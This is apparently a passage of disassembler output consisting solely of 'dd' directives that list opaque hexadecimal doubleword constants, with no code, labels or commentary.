		dd 8F89D4A2h, 0B8635A97h, 2AB33935h, 5602A508h,	87548863h
		dd 29643036h, 0D2634E53h, 675C70CEh, 0B521220Dh, 0EA28FC8Fh
		dd 894B8A50h, 2A0FA68h,	69517994h, 0E13737BFh, 0EEF9FAB7h
		dd 7AEF9B74h, 433093ACh, 0B5C8A21Fh, 0B45F4913h, 85483FC8h
		dd 984C6EFFh, 90692289h, 0B1656E61h, 8530E30h, 1B866E30h
		dd 1865B137h, 0DD9B9695h, 6D64DA90h, 0E0D08639h, 954D60DBh
		dd 3EB46A4Ah, 56A8AFA4h, 0FC2847BFh, 666A637Eh,	0F380AA7h
		dd 99873E6Ah, 12840830h, 6B1C85CEh, 1B8E7Fh, 59115F15h
		dd 0B112AE33h, 9973CBA1h, 7C960EC4h, 2231F1D8h,	57E2FFC4h
		dd 4E3A677Ah, 17495A92h, 374A3115h, 377BD86Fh, 8F56C5Ah
		dd 0ECED6494h, 0ECF5C5CCh, 44533F26h, 0FDAE446Dh, 71BF1954h
		dd 8D026195h, 952A2Ch, 94B56062h, 8A034DA0h, 89AFC240h
		dd 0C5818FBAh, 1B0A5CDFh, 1526AEACh, 140CDC63h,	6F62F8EEh
		dd 0FB423AD8h, 0A199C8Dh, 0AA25FC5Eh, 4F5C4256h, 6CB8487Fh
		dd 0E308EA46h, 15875668h, 35FF600Bh, 6A09BFCh, 0E5223669h
		dd 52DCB2F5h, 140F517Eh, 5DBE432h, 0F4F16B15h, 0B30625B1h
		dd 0E470808Eh, 0E89249B6h, 0C9B1D2A9h, 0DB204969h, 23FCE00Ch
		dd 0F46AAF83h, 0A170CFF7h, 8704F3A5h, 0CD29A7A9h, 0E703909Eh
		dd 0E60B1574h, 712F5C8h, 0EEA8EAFEh, 562C05C7h,	9C11FF03h
		dd 0E241C4BEh, 0F947FC51h, 7B2A6FFh, 80979E13h,	4595A0C6h
		dd 0B1A4D363h, 34DD808Dh, 0FA8599A5h, 0CE413034h, 5CA62BE6h
		dd 22900580h, 99F459D5h, 0D88A3A7Ch, 53076168h,	7136FB80h
		dd 0B4D3FC78h, 0FDC70274h, 9153DBE2h, 0C998473Fh, 33DD71A0h
		dd 0DB56D2DFh, 0D5B7CBF2h, 959B5E91h, 0B3F0FBFCh, 0AAD681CAh
		dd 763A63ACh, 8371397h,	0CDF29D15h, 737D3376h, 48A82A04h
		dd 0FC848536h, 0DBB160D8h, 0CA283C28h, 0DB48BEF0h, 88B63193h
		dd 1F53985Ch, 1A185F10h, 876EDC17h, 0B8B9723Ah,	0EC381923h
		dd 3F185156h, 244F7FDAh, 635588h, 3403659Dh, 928F68D6h
		dd 0B5D276D2h, 13FE99F8h, 0A0AFDA72h, 6B76B435h, 216957D2h
		dd 69034791h, 40944F23h, 88498A76h, 39D50E16h, 7B2D664Fh
		dd 0E1521B54h, 0DD7FD63Fh, 9EEF1759h, 5A0101B1h, 0A5640D9Eh
		dd 3E25F742h, 0EABC12EDh, 0C95DC68Eh, 3947B24Ch, 110BC806h
		dd 0CDCFEBB1h, 7D36DC94h, 1607E125h, 670F069Ch,	2AF4FB87h
		dd 0F66C611h, 4206D7C8h, 581BFF4Bh, 6F1F3021h, 0FC6FF22Dh
		dd 2B83FD66h, 0FB6B98EAh, 327C87E8h, 1A50A077h,	0A2088628h
		dd 0D9635453h, 0CE9603A0h, 0AF793940h, 0C1E834CDh, 0F9D66E33h
		dd 7B1962A3h, 988808B3h, 2DBAC3CFh, 2E457ADCh, 0D3B3763Ah
		dd 4BE62E3Ch, 7E51301Fh, 0FD563868h, 7FFDADC3h,	0E3AB5502h
		dd 0E2AF0D86h, 776346AFh, 0F25B973Dh, 0E85763DAh, 0CA1D0A62h
		dd 0D91505CDh, 17F854C0h, 11D0D540h, 207C6EC1h,	0BCE7AAB3h
		dd 7FCD433Ch, 72907A76h, 16304930h, 3F2DB129h, 0A9D16173h
		dd 6EF2E77h, 20CED90h, 59976CBBh, 8C1510A0h, 6B9BDF0Eh
		dd 1B0C8996h, 3BEE5EC4h, 0A368E2A7h, 0AC647D1Bh, 0CC54FB84h
		dd 3EFDDC37h, 0ED12E8F9h, 0DDA3B8D5h, 0A947DAF6h, 36F4E5A5h
		dd 410047A8h, 80BFA760h, 0B0E74057h, 4CFE361Ah,	51031C63h
		dd 0DAD8B34Fh, 9C736BDCh, 7EE6AB75h, 3C0D224Ah,	0E17C598Ch
		dd 0E798304Ch, 0C3DEFA4Eh, 45673BF7h, 1577B374h, 3CBE9AFAh
		dd 62C90FEh, 1B5D941Dh,	150B88E0h, 0B4C599D9h, 0FBF2FB58h
		dd 0BCA4039Ah, 0D19AAA83h, 8627BAA3h, 455F0538h, 6E04CF21h
		dd 22216F5Dh, 9FCC42C6h, 47A39109h, 15FE6D39h, 2BAC1779h
		dd 29050BBEh, 2F957B9Eh, 0A55E755Ah, 0EBDCBC91h, 0FDEC500Fh
		dd 9D6ECA6Ch, 8CE31AE9h, 5AC5275Dh, 0CC1165FCh,	59279E6h
		dd 0F54EAFE0h, 10B35EA5h, 0C6DE9DFAh, 6288F3E7h, 45DA9CEDh
		dd 0B0D7F6D8h, 4F5C237h, 13D61FA1h, 0FFB6489Ch,	9A0850B4h
		dd 0C09617FFh, 3370527Bh, 1BF78C38h, 6D89AAC9h,	0F3689B08h
		dd 91617EAAh, 0A5D42A56h, 9CB620E9h, 0F8A93D8h,	20A0D61h
		dd 0F416600h, 0B3CE9411h, 61B9E38Ah, 5CA671D2h,	0F3665AF6h
		dd 5F7C07C7h, 81D3F98Ah, 0BED0CDE1h, 0B01DF429h, 8F617F4Dh
		dd 0C0281331h, 0FF56D89Dh, 5850CD2Dh, 1323A958h, 0B690A502h
		dd 57D9C730h, 0E29DE0FFh, 73096E73h, 89670158h,	5C59211Fh
		dd 44033E72h, 431F6813h, 0B7EC84D6h, 0D6926E4Dh, 8C1533F3h
		dd 8F6790C1h, 215C47D6h, 5459F683h, 67221CBh, 3291855Bh
		dd 342F4686h, 9A5A95D1h, 62628272h, 28C8AD37h, 8705E4ECh
		dd 0BE699907h, 836FD79Bh, 0FBA5949Eh, 0F9D56A31h, 1156FA34h
		dd 0C57A0D2Ah, 21A89FC7h, 0FA98A07Bh, 41B003DFh, 0B67642E6h
		dd 0DA731D0Bh, 0DC66EBCBh, 9E57963Eh, 2804E461h, 0A29AB009h
		dd 0B39A550Ch, 9FD90844h, 0D31846C5h, 5A7EC76Dh, 0A0505F09h
		dd 2D40939h, 0C7F4AEE0h, 83B8A94Ah, 8EE652EBh, 87BEE7D8h
		dd 0C529E95Ah, 977C1848h, 0F23C9052h, 2F04F112h, 0B79C5CDAh
		dd 0BA40B905h, 2735A271h, 0C0E91724h, 1C5CCEEEh, 88070E08h
		dd 5D5A245Dh, 0FFCFF1ABh, 8FB084F4h, 0E5C0ECDAh, 4916C48Dh
		dd 0C1AA4586h, 0AE34CF04h, 0ACBE4BEh, 0FEC3DD85h, 232BA8B0h
		dd 99F767C1h, 0AE7D501Eh, 0E37403FBh, 0A62D1452h, 10CDDB3Fh
		dd 980E2B23h, 8F0E2C02h, 14359CECh, 128E78E9h, 0C8F6707Fh
		dd 5C8535D9h, 29739B26h, 0C132DF35h, 0AB577433h, 7A3D5D3Fh
		dd 9993C161h, 9E02D02h,	0FDCF4029h, 1157EA9Eh, 3E8A7515h
		dd 0DD1C6F89h, 0C64B50D8h, 2E01BAD4h, 0C9F22F54h, 0FB6AA2F2h
		dd 0E09FAA17h, 1E9D9A31h, 3D6A02EBh, 0A6C783A0h, 0A32C1671h
		dd 88B7AAE1h, 9F230F7Ch, 0CD1C4B1Fh, 0F37F8C17h, 1A1B5B8h
		dd 0E048DF0Dh, 216B7501h, 3A8E090Bh, 0CCBCDAAEh, 29FFB148h
		dd 84A54A8Bh, 0C90DF2F5h, 0FFFB0ED7h, 2939C38Eh, 23BA5443h
		dd 8D75BC4Eh, 50B22C68h, 325A3165h, 0CE0E77B5h,	0C7581E26h
		dd 6D4BB8FDh, 0FF12FA7Eh, 79308A6Dh, 0F8AC6701h, 0ECF61FE2h
		dd 0E33EAEC5h, 3A5CA863h, 0BA3F5F41h, 0DC3803D7h, 976B4246h
		dd 0EBB63D7Ah, 0A4D614F8h, 80F8E398h, 210DAC45h, 11514589h
		dd 0B8396CC7h, 9A6A419h, 0C3C0BB5Ah, 0B33BDBF0h, 8F56CBC0h
		dd 9092D2E5h, 1246F608h, 5C87445h, 0E9EE557Ah, 0AA6C6C9Fh
		dd 0D8A083B8h, 0B0686E31h, 0E20C7159h, 15C384BEh, 30AED3E3h
		dd 0A64EC918h, 0D3A11FA5h, 0AD9AAAD6h, 0DE28B7ECh, 2EF05DFAh
		dd 0C5C98BC8h, 1F8520D8h, 4EC1A324h, 907B4B8Ch,	177411EDh
		dd 0B17B5B7h, 0CDAF224h
		dd 0DAE3B665h, 932C8251h, 35FD251Ch, 0D9019C3Eh, 493B267Ch
		dd 1E6383B1h, 0B64EE0B7h, 1FD7FA91h, 9C74C1F2h,	668D78D7h
		dd 0D22EA779h, 559F3F03h, 0F6615F58h, 0C425D98Fh, 0EAA71011h
		dd 23E0BEDCh, 0F6305EEBh, 0D5B12A15h, 12D4F90Bh, 4C93AE1h
		dd 0CD1CEB6Eh, 4D4CCF58h, 0C54DB231h, 1997366Ah, 44D1DEB1h
		dd 3B3EA617h, 2CD8867h,	0A17D28DCh, 7C9EBAE0h, 25AC747Dh
		dd 11BBF8F1h, 721E051Ch, 2CA66E85h, 598FE0D6h, 0F32C26CCh
		dd 9D721357h, 6F2C67C4h, 0AF42F395h, 0A932550Ch, 831F8B04h
		dd 5B87364Eh, 89D93355h, 64ED976h, 29F4B123h, 9F8B073h
		dd 747DE01Bh, 0DB4909B8h, 74D56B8Ah, 0C0720AD8h, 0DBF7D03Eh
		dd 975FA79Fh, 0D017E84h, 34AECFDh, 0FB075BFCh, 0C392ED3h
		dd 0D7268A88h, 841A91C3h, 0CA9DCACCh, 18D196E5h, 0C037AE6Bh
		dd 99F4743Ah, 0CE04C784h, 50D8B6D9h, 8CFD9810h,	3F9B2859h
		dd 0F51CC56Ah, 115485E9h, 0F604C942h, 0B512C03Bh, 9C1AE257h
		dd 6D2BDF48h, 749AD67Ah, 3F8FDECEh, 6F26FA2Fh, 0EB454CE1h
		dd 7F3B1971h, 2FAF57h, 0C2FB4D27h, 0AEBA181Ch, 0D3E8FA52h
		dd 0B7291C0Ch, 467EEFCEh, 0A11D0446h, 0D3BB7E4Ah, 8B948801h
		dd 3073DF4Ah, 0FC973512h, 0E394ED60h, 0A5032455h, 6648BE07h
		dd 0FF36B52Bh, 670C67B0h, 0DA1AA9B3h, 1DE254E2h, 0D027A4D3h
		dd 0E3C158D8h, 1703B0Fh, 0F09BBD00h, 7472BD6Bh,	329F99BBh
		dd 1941B9DCh, 0E0DA7C49h, 0BE2740F3h, 5BF3F853h, 0BA970655h
		dd 1FA56407h, 37DC0BD1h, 0DCFBCC43h, 0FBBF2743h, 0CBD4DF85h
		dd 93706029h, 242DBA4Bh, 834CB73Fh, 0AC237925h,	0AE32DC35h
		dd 22815C1Bh, 607F7DBBh, 1E0AAC63h, 0A08DEC6Ah,	6E876955h
		dd 906C011Ah, 87D07090h, 0A233D018h, 0CBD40EB1h, 0A191160Dh
		dd 0A4E08344h, 7141441Ah, 0F89B0F58h, 0FE98F858h, 98297C71h
		dd 0E5D91C91h, 0AC6C514Eh, 0E2C4FE57h, 0B861DCD0h, 0CDB8A9E0h
		dd 3D2DBADDh, 0D05111E8h, 9C547E69h, 37AF07F7h,	4C4D84B0h
		dd 1F972AFCh, 4A499Eh, 2666D009h, 0D15DA0BFh, 3FD03670h
		dd 7D2A4136h, 7D4994F2h, 502EA0D0h, 0AE6A4DC2h,	0DA0DB7D2h
		dd 0DE23122Bh, 3E0C3DE8h, 0DA6C69CDh, 0B16239D3h, 0C5D4260Ah
		dd 43D3CA48h, 0CA59B9FAh, 0C110A321h, 61A0F921h, 0C1B52773h
		dd 0CF4F6978h, 993F4A98h, 0F6DE5018h, 0DC22870h, 0FD4F65D5h
		dd 5D4A5E1Dh, 0E06BCFFAh, 78BAFD07h, 0CC239395h, 1E77E4Dh
		dd 74D161E0h, 2D36BF74h, 0F76E9C16h, 0EC20003Dh, 0EC3560F6h
		dd 560BB826h, 663B66B7h, 0F6E7CC92h, 13D29F91h,	39C62EA5h
		dd 552EFAA3h, 54A055ABh, 0D7049552h, 27FDC26Ch,	3930657Eh
		dd 0C4B1EFD5h, 85E04568h, 62234A3Fh, 0F4F53878h, 0BFE4661Bh
		dd 41F6FE6Eh, 88BD45FAh, 986E0645h, 9899FCA7h, 0E3799369h
		dd 1CBCE44Ah, 67762A14h, 29B0AC3Dh, 0E7A1DB6Ch,	0D73B1692h
		dd 0AC9460A7h, 51C415CAh, 0C5F17670h, 0C88BFD13h, 56917925h
		dd 33D752E7h, 0FD46B009h, 0B5FBEEFCh, 3D15F4Ah,	86E2333Ch
		dd 71463051h, 9795F241h, 1C51AC3Ch, 7B4B5AC1h, 0EC395B63h
		dd 0B1038890h, 3F514A0Ah, 395615B0h, 4A1885B7h,	0E0D9C8E3h
		dd 0B432C413h, 0F47F2709h, 0CF9B5FE1h, 141E1A8Fh, 0A82F7BC9h
		dd 0C7477044h, 50C3C1F4h, 6A17036Fh, 918CA92Ch,	267E7975h
		dd 5225E281h, 900C1A31h, 97175B91h, 6D3C335Ch, 274D597Ch
		dd 16A58025h, 63B9D424h, 4DFDE9A0h, 0D0223485h,	0AE4A3998h
		dd 5FDF27C5h, 9B93C776h, 0F04251F8h, 0BB4E0A62h, 3ED464B3h
		dd 6E391277h, 80FCB7F1h, 0AC5092BEh, 86EDDC6h, 0F2FD72E6h
		dd 522C287Ch, 0A6799314h, 6472CF4Ah, 0B3B56CC2h, 525DB7E8h
		dd 0ADF4492Dh, 0AE18278Dh, 3F25EEC7h, 0C36EAF59h, 3BF1BD90h
		dd 0D708894Fh, 4B437995h, 0D9E95F53h, 0AEE00790h, 82D38E21h
		dd 5C205F85h, 3A88ED69h, 5DCC75CEh, 0E68113CFh,	1F688298h
		dd 0EE190C5h, 6A55AAE4h, 97A1867Eh, 0C927BC3Ah,	48B4A4F7h
		dd 55ED8FD3h, 0AEA8E321h, 7350B236h, 91AE4F2Ch,	59FC266Eh
		dd 7D7242E8h, 1C2E6DE1h, 18675839h, 8EE3EFEBh, 449E1A06h
		dd 30DF9993h, 0DAA77175h, 3A98A8A7h, 0CD95A627h, 1E96BC2Ah
		dd 0CADD25BEh, 0F7CC89DBh, 4940F902h, 0D15B57FAh, 97C6CCE6h
		dd 0FD28A1ACh, 22344D49h, 0D16F85BDh, 5F62EBFEh, 757237D6h
		dd 0D6B1DE0Fh, 5324E60Ch, 0AA0639FBh, 8C64843Bh, 0C3BDC1B3h
		dd 0DFA56E7Ch, 2A86F3A7h, 1C86A46Fh, 2B3B03A4h,	98E5DAFFh
		dd 0F040ABBCh, 0FDEDDE42h, 2A0373CBh, 0E4495C2Dh, 56C3E230h
		dd 0F0EC8224h, 766E92EBh, 8D6722F3h, 43274266h,	4C73E8E9h
		dd 48A9E975h, 49AB5007h, 18D860E1h, 63A7C53Fh, 7EF85207h
		dd 11C96626h, 1207D3E7h, 0F4F357D1h, 2A468ED0h,	3C8D3510h
		dd 14DEB5C8h, 47E4C352h, 126229C4h, 84A7327Bh, 5661A577h
		dd 3BF952ADh, 9226CD79h, 0E023B867h, 0EEB2519h,	5D5B1535h
		dd 0AF09BA4h, 4887AE1Ah, 3C55DE8Ch, 0B4D579AAh,	0B9B68488h
		dd 3BBA8DA8h, 2780A5D3h, 149E1022h, 0CDDFCC26h,	72300EE0h
		dd 0B0D6561Ch, 0E809C799h, 0F154BE8Dh, 0F6E4CC71h, 0EEFDCF25h
		dd 0EE3001CCh, 0E37E0D1Eh, 20E539BFh, 75449922h, 41AA6035h
		dd 3757D8C2h, 3BC556A1h, 0FDC4CBF1h, 4FD0314Eh,	0F79B64BBh
		dd 5BFB4CCFh, 637391DDh, 0B5E62ED8h, 0CE89338Ah, 9A9EB23Eh
		dd 37A6510Bh, 70EA35DBh, 0ACFC4D86h, 61DBD42Bh,	49768F84h
		dd 0EDC6AE02h, 0FF0326B2h, 23DB9155h, 5FB02306h, 0F1B55409h
		dd 8FB44EFCh, 6304CAE9h, 92FB5B6Fh, 79DAAC36h, 1E7553ECh
		dd 0E88606C1h, 145A2A78h, 0A331A40Fh, 119386FCh, 5E39C4EEh
		dd 44588BAAh, 7E7513B6h, 4D1689BEh, 21FCC3BCh, 0FFA37E01h
		dd 4E3C0948h, 5788D501h, 6A4A0916h, 0BF244669h,	94D7D423h
		dd 13B2C2DAh, 0E30A125Fh, 0F4638382h, 0A358433Fh, 0A0043C57h
		dd 74DCC051h, 9FAC9D07h, 0D7A0E0D5h, 0FEBDBFC7h, 5916B564h
		dd 0DBBB7B7Bh, 0B6C6304Eh, 0F1179188h, 0F8A93ECAh, 0F6B604A0h
		dd 0FF743423h, 0B99B2719h, 27B93239h, 853CE28Ch, 0D930730h
		dd 31CF57C2h, 8EE18619h, 0C27551Dh, 68193B01h, 4DA53780h
		dd 0FEDBD9Ah, 38140F6Ah, 194CE989h, 0F08B12BEh,	7886BD62h
		dd 2498A7E5h, 15D6D112h, 0C53FBBDCh, 4A3180E1h,	4EC9CBC9h
		dd 6280504Fh, 2FC8DBB7h, 767CD057h, 0F62E1016h,	6069BD5Bh
		dd 8B67FD62h, 3984CAEBh, 0A30BBE91h, 9113293Fh,	0FF0944B8h
		dd 0E4AAD1CDh, 60AB08A6h, 0BCCDDBFAh, 273D199Fh, 7ADC5F94h
		dd 1555507Eh, 0CA9B9782h, 5540C0D9h, 3292DBA8h,	2859B903h
		dd 34FD9A0Eh, 0D32739CFh, 60377EE0h, 0E8435E7Ch, 27102F03h
		dd 4B12B752h, 0B2FBB1F2h, 0D5B9640Bh, 73820504h, 3F9D5E93h
		dd 0B1383DF7h, 35547772h, 32A78AA2h, 3D2944B1h,	0DBE2AFF1h
		dd 3C948ABFh, 57E0C43Fh, 92AD41BEh, 5F65FBAh, 0CD6AF036h
		dd 9399BAC2h, 11F8FA10h, 327280C1h, 3FF46B48h, 3703761Bh
		dd 96B77B79h, 0C877C473h, 0A900EA8h, 98B7F1B1h,	2E225614h
		dd 12427B5Eh, 0D89AEF08h, 3D62DEFAh, 1053A6Eh, 7C550178h
		dd 0E3785A61h, 0D46A4F7Ch, 534EF75Fh, 16E34AEBh, 527F41AAh
		dd 0ED929D4Ch, 4E04FAE3h, 73C87320h, 8DC5C918h,	0F6613928h
		dd 0DAC0A720h, 1C19FCDEh, 1D6D576Eh, 146C497Ch,	137CDF8Dh
		dd 2058CC74h, 0F8231174h, 5AD399E7h, 57A69788h,	0D4CE00C6h
		dd 0D8FA5037h, 0C782A55Eh
		dd 192BDCCFh, 9AEE5170h, 0EC9C768Ch, 0BC4BF9FFh, 5DACD977h
		dd 0C3E8526Fh, 718A013Ch, 97855727h, 62A9D008h,	66A55155h
		dd 958C400Ah, 4EFB100Ch, 0A27A02E3h, 8EEAF52Fh,	7B2FFE95h
		dd 0AD247F5Eh, 8F6BB041h, 58AB0477h, 18D5BB58h,	3771511Eh
		dd 3388CA6Ah, 0B7A837F4h, 0FA4CBD1Dh, 0E0637EEBh, 6033A66Bh
		dd 9ED3D008h, 41A212CAh, 70964B66h, 574F21B7h, 28415F18h
		dd 153D43B2h, 958C4D82h, 0EBA519C3h, 2825CC69h,	0C0AFBE3Eh
		dd 0FDAC8009h, 0A3E06FAEh, 5DDD7C05h, 0BD90E19Bh, 20B70279h
		dd 4E273EE3h, 814C3598h, 0FBFEC26Ah, 0EC342813h, 0ECE6A1EDh
		dd 0DF82C15Bh, 0E9B5D722h, 86474D0Fh, 58F9FAA3h, 0C21E337Ah
		dd 1F6C2F85h, 13B6CC2h,	16BE0D31h, 0AF20ED9Dh, 0EA71E7EDh
		dd 5498D7A6h, 0BDB590F9h, 88D469BEh, 8B3BDEC5h,	3024CF54h
		dd 2238FB7Dh, 987CC0C2h, 39AFA145h, 0E9EAB8BDh,	0C0E2968Dh
		dd 4FC5682Ch, 0EFD05B3Ch, 68C275F1h, 0D16DD2D6h, 45DAC497h
		dd 22F73F33h, 13343855h, 1734DA10h, 0A506DC6Bh,	0B859C279h
		dd 0A24EC0D2h, 9DFFD223h, 49B5E090h, 236DD174h,	0C4560DB4h
		dd 0C8588978h, 4673C7D1h, 0EE899E8Eh, 89F08A0Ch, 8E201EAAh
		dd 43871FFDh, 0E6829A3Ah, 1AE3C4BAh, 25EAC55Bh,	82A6590Eh
		dd 23E81516h, 0A097260Fh, 0FA37A34Fh, 0A7CC7B8Ah, 44D43A90h
		dd 96C1B285h, 871A9E0Bh, 2216F2EEh, 0D2B7585Ch,	0CE1BB9F5h
		dd 53F67E11h, 9609849h,	0F73538A3h, 144BA139h, 3C813Eh
		dd 8A6A3052h, 0B7C4156h, 885A7896h, 1BB64DA9h, 91A5B508h
		dd 0B6A423Fh, 0F4E6E9BFh, 5632FC8h, 749A2EF5h, 202FD398h
		dd 0F30B4390h, 0F54A064Ah, 7AF474B9h, 4424E919h, 0D47581B6h
		dd 0B86AB9E5h, 0F95FACA0h, 0A48F778Bh, 8FD51020h, 9E38B958h
		dd 8139B908h, 0FFD2E4AFh, 0A1A11B8Dh, 0BE5C61E8h, 9CA67239h
		dd 63D8E0CDh, 7241B53Bh, 3B4C5091h, 0C44E90E7h,	9E770F9Bh
		dd 5D241D46h, 7EED1CB1h, 0CFB477D2h, 5791810Eh,	69682C4Fh
		dd 2D1399Bh, 0A1E2A1Bh,	0B9505838h, 0B246B82h, 7C92D802h
		dd 5A2DB82Bh, 2A77D484h, 719D529Fh, 76E1321h, 0BD508794h
		dd 0F27D31B3h, 0CAF3C670h, 0B65AFE87h, 1180279Dh, 0AA0DCECAh
		dd 0A8131788h, 5E2C752Ah, 157B03C5h, 0F9701BA2h, 0E42A73CDh
		dd 411E4CBAh, 9B0DAA14h, 613B21FBh, 18929F6Eh, 6435A8Eh
		dd 1B8B7478h, 62107EBDh, 61BCF8B2h, 0FA65D7C1h,	46BBBD9Eh
		dd 0F3142EE3h, 79EAF449h, 0F0752E66h, 9CBB2D14h, 136CA4E2h
		dd 8F7809CDh, 7583728h,	66E856C2h, 10BA7641h, 4BE50F56h
		dd 682CA1A3h, 149A733h,	0FA7D5532h, 1E2FF988h, 7D483256h
		dd 91576357h, 0D3CF733Ah, 7A63E76Eh, 97250975h,	9DF34FBAh
		dd 321FA5C0h, 0F232E497h, 38475763h, 819D5BC5h,	4761BD54h
		dd 1AB1C65Fh, 0EC404BADh, 55658520h, 0D27CDC0h,	3C2C0815h
		dd 15B3A94Ch, 97E155C7h, 8781D337h, 0DEB8B39Eh,	532B101Dh
		dd 0AED54C1Eh, 0C4699185h, 475D57B7h, 3D10429Ah, 0BA04DEFDh
		dd 0E8A468AFh, 139D7B27h, 0C8C00571h, 179577D9h, 0B0060EDBh
		dd 0D9B17BF3h, 1010655h, 0EDD308EBh, 0E96C0300h, 16731F82h
		dd 54C17A2Ch, 0F938EFE6h, 0D4C78BB2h, 891BFF78h, 886B42A3h
		dd 9213DCC0h, 0BF1C480Eh, 0D30224E6h, 0D57969E8h, 6F02B0F6h
		dd 9455359Ch, 70A010B3h, 0B7BD4348h, 70F9ADEBh,	3C0E253Fh
		dd 0BC8FB5F1h, 57E0AB44h, 5AC23B3Fh, 0F53D50D8h, 7FB6E38Bh
		dd 0A32B3FFFh, 232F4049h, 247919DBh, 3836A1FDh,	0D02ED6AAh
		dd 0C2F7831Ch, 994C1ECFh, 30C70F3Fh, 13907270h,	0E90977ABh
		dd 0C609FB7Ah, 1FBA6944h, 523A17Ch, 920EFACAh, 3FE226C8h
		dd 1FC722E0h, 99847E03h, 8491BEA7h, 61F4053Fh, 0B3289CE1h
		dd 78BE17A8h, 92CFA214h, 0D01B3A09h, 0E26B3D0Fh, 96C832E2h
		dd 0E61440EBh, 0F521360Bh, 0FA79E485h, 0DECE3149h, 9C219106h
		dd 0E9D810BDh, 8BCC7309h, 86F5DF3Ch, 4A503061h,	75D61FA7h
		dd 0EAA65E40h, 59C0797Ch, 26113CD7h, 0D3CD2FFCh, 2C51BEC7h
		dd 0D7951B33h, 3BC1DD97h, 0D3974F6Ch, 242038BDh, 41B8CE63h
		dd 94EABD35h, 0CB6551E1h, 0F72511FEh, 7AD3508Ch, 9C5F3DC4h
		dd 8A22130h, 46645AECh,	29390498h, 0FDD1C62Eh, 0A82FD4ACh
		dd 145CD3B9h, 770DDC5Dh, 8ACDCC6Eh, 0CF38B3E2h,	0CA4DDC2Dh
		dd 0C2712F91h, 0F3B5D187h, 0E0B42BD2h, 7C30F2AEh, 2EB88C40h
		dd 9FC3FDCFh, 0A5BF0EF5h, 0F8B0F005h, 0AD45191Ch, 4A8A78CBh
		dd 2B5962E6h, 3AEB661Bh, 8E8AC92Ch, 0AF6932E8h,	940DF300h
		dd 0B8775728h, 35F833E1h, 0C0E8E919h, 0CA99D176h, 7BE8590Fh
		dd 7637425Ch, 630D3FCCh, 25CAB346h, 7070A238h, 5490D21Fh
		dd 13BD0CAh, 6A0BB2ECh,	0F5FA4F3Ah, 60B078EDh, 213E6Dh
		dd 0B89164FDh, 4FFB23CFh, 0E64ED196h, 91561617h, 3FF974EDh
		dd 4D8B96F1h, 1514865Eh, 0F79CD42Fh, 0A82139ADh, 7087B8B0h
		dd 2C9C8F1Bh, 0E4F6CC8Eh, 0BFE569E9h, 230E7F7Fh, 0E8CEAA9Dh
		dd 0E9272EA0h, 0A80872E5h, 91EF73Ah, 42086F2h, 0EFCDE2FAh
		dd 0E7CCF939h, 95EFF18h, 7863B15Dh, 8AE44589h, 6E5855F8h
		dd 0E4BFB59Ch, 288DAEB3h, 0F9AADF63h, 0A7812C02h, 2718C5AEh
		dd 94B1EA16h, 3CDAE587h, 3DE01C4h, 8C42164Bh, 0CDF60103h
		dd 433EEBFCh, 4816C87Eh, 9831C2B8h, 0DF853399h,	4483C7Fh
		dd 0E8CA24Ah, 52E9E783h, 0D3334DD3h, 11A569C3h,	0A3C919B7h
		dd 36C50B24h, 6C4FAF66h, 293EFC81h, 0CF91970Ah,	9BB702CFh
		dd 929C2308h, 0F9D50B56h, 7320FEE7h, 4CF4E559h,	0EC60158Ah
		dd 2DC4D698h, 0D114EFD2h, 0AB48047Eh, 9852F0F7h, 0EDCEF489h
		dd 6E5599E1h, 8325B9F9h, 23A0218Dh, 0ADEF1EDEh,	0A898F6F2h
		dd 14FE49C6h, 2FD5502Fh, 1FC258C3h, 0CB0D358Fh,	0BD6BF05h
		dd 0F122E72Bh, 0A154F8B2h, 10BA65DAh, 0C620685Ch, 6BB5ECB2h
		dd 0E4B1F9C3h, 0FC3A5D4h, 15558135h, 439FA29Fh,	6985C292h
		dd 0E97BFE1Dh, 44969822h, 8778FD66h, 0DEB35A38h, 0F31E252Bh
		dd 0EB96F95Fh, 0F485C790h, 0F80B0F17h, 0C167AD63h, 8155329Bh
		dd 5A4909E1h, 0A98A6FA7h, 0DF613F9Dh, 0E4822ED9h, 1D397FFEh
		dd 0C988CF69h, 65E75070h, 90B1D0h, 2B6D9127h, 0A4E2B64Bh
		dd 1EDC8B27h, 0D827568Bh, 903BEB1h, 0F9004D79h,	236C05Bh
		dd 61502F84h, 55DC7BBBh, 745592E8h, 0D176D264h,	875A9B33h
		dd 76B05FBDh, 9667A761h, 0EB61AAEBh, 0A7895C77h, 0C0BD90EBh
		dd 65CC2A6Dh, 9694AF8Fh, 1934819Bh, 0D3BC7DDAh,	0A8FA553Dh
		dd 0D8897DE7h, 0A386404Ah, 0B0E4344Ah, 0D46FAEDh, 26E0AD91h
		dd 6B2F7396h, 0B5C27533h, 52750BC9h, 0B3603BFEh, 93F90220h
		dd 63371554h, 3F25B4C2h, 6B916762h, 48B71997h, 44AFB99Ch
		dd 11A484A2h, 6C24CDC5h, 0C4CA5A4Fh, 6E400233h,	2D2E4662h
		dd 0A8D0B81Eh, 61CC2099h, 6078A997h, 3F85DF81h,	3662A33Eh
		dd 86AE6141h, 8CC062E8h, 0CDFF6D60h, 147AC71Ch,	9E838D98h
		dd 0A77B6EF9h, 4D0BB8C3h, 7585CDB4h, 5E7B379Ah,	76E0844Fh
		dd 0CCE54600h, 0B58BB12Eh, 0BACB997Ch, 7F663247h, 0E5156563h
		dd 0D7B0F031h, 0EF3957A5h, 0AFC405F6h, 39989133h, 15ACF175h
		dd 49FECDDEh, 921E281Ch, 829E5929h, 60186E47h, 0C28C3C4Dh
		dd 0A16EA767h, 0EEBEA796h, 0C015381h, 0A19ED8EBh, 13F615D1h
		dd 0D0F21A1Fh, 0CF7686A5h, 0E26C3E01h, 2BDF8BBCh, 0FE4D5C01h
		dd 23A4BE2Dh, 0CF5B0AD2h
		dd 1A7624A4h, 7D06072Ch, 7E2B9E4h, 0D7A47430h, 7ABD3587h
		dd 6FCC4E15h, 0D125B94Bh, 0B465E57Ah, 0C05BAF6Eh, 40A5CE1Eh
		dd 0FBBF1920h, 22330945h, 0C89D0841h, 13CA528Ah, 0AACDEA97h
		dd 0BA8153ADh, 0B2B743E7h, 0E481B8DCh, 0A496D07h, 0B531E99Eh
		dd 77730BD7h, 0D117A203h, 61B409EBh, 5200655h, 5055B9BAh
		dd 0B038A85Bh, 0F8BE58B2h, 3800C078h, 0B9835F77h, 4E00A3D6h
		dd 0E4DE5F9Ah, 1B2072DAh, 915A29F3h, 0D162D3AEh, 8D53F31Ch
		dd 0C68093A4h, 0EC3EE0B2h, 76A132C8h, 0CE0C467Ch, 8E32C724h
		dd 7B30115Bh, 0D18083B5h, 2189B374h, 0C085CA29h, 1B543CB6h
